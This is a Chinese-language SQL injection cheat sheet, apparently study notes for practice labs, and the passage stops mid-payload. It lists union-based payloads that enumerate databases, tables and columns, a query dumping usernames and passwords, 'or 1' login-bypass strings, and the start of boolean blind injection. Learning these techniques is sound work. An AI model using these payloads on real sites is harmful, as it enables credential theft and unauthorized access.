文章目录
0、常用查询
数据库名
# 查询所有数据库
?id=0' union select 1, group_concat(schema_name),3 from information_schema.schemata %23
表名
# 查询某一个数据库的所有表
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where
table_schema='数据库名' %23
# 用limit 来一个一个找
?id=-3' union select 1,1,table_name from information_schema.tables where table_schema=database() limit 0,1 %23
# 直接用group_concat来找出所有表名,查询当前数据库
?id=-3' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=database() %23
表结构
?id=-3' union select 1,1,group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.Columns where table_schema=database() and table_name='表名' %23
某些情况下把表名字符串(不包括引号)通过转换成0x16进制,去掉单引号,前加0x
。
数据全查询
?id=0' union select 1,group_concat(username),group_concat(password) from users %23
1、or+limit全局查询
or 1
可以与任何形式组合成真。在查询中,用如下的语句来进行全局查找,可以一行一行的输入表中的内容
?id=1' or 1 limit 0,1 %23
在post登录情景下,如果知道用户名admin,则可以用admin'#
来闭合,当不知道用户名时,可以使用任何形式拼接or 1的方法实现闭合d' or 1 #
,也可以实现查询d' or 1 limit 0,1 #
。
2、联合查询基础
union之后是查询语句,查询的条数与数据库表的结构一致,所以需要通过order by准确判断出表有几栏。
- 当查到的内容会显示在页面的占位符中时,union之前取假值,可以用负数或者
and 1=2
,在登录情境下,可以用不正确的用户名,需要判断出每一栏在页面中显示的位置。 - 假如页面中我们查询的内容并不是显示占位中,那显示结果可能隐藏在页面中没有显示出来,如当输入错误时候,页面才会显示出错误提示,这时我们需要让union前面的条件为真。
特别注意: 当查询字段是sql关键字时需要用单引号包裹。
3、bool盲注与爆破
问题:正确显示就显示固定字符,不正确不显示。
解决: 可以通过显示不显示来判断是否是正确的
查询数据库名
# 判断数据库名的长度=8,通过<9显示信息,<8不显示信息
?id=